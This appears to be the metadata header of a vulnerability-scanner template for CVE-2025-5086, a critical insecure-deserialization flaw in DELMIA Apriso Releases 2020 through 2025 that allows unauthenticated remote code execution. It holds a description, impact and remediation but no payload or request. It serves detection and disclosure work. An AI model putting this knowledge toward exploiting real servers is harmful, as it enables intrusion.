Dassault Systèmes DELMIA Apriso (up to 2025) - Insecure Deserialization

id: CVE-2025-5086

info:
  name: Dassault Systèmes DELMIA Apriso (up to 2025) - Insecure Deserialization
  author: hacktronai,iamnoooob,pdresearch
  severity: critical
  description: |
    A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.
  impact: |
    Unauthenticated attackers can exploit unsafe deserialization to execute arbitrary code on DELMIA Apriso servers, achieving complete system compromise.
  remediation: |
    Upgrade DELMIA Apriso to a version later than Release 2025 that properly validates deserialized data.
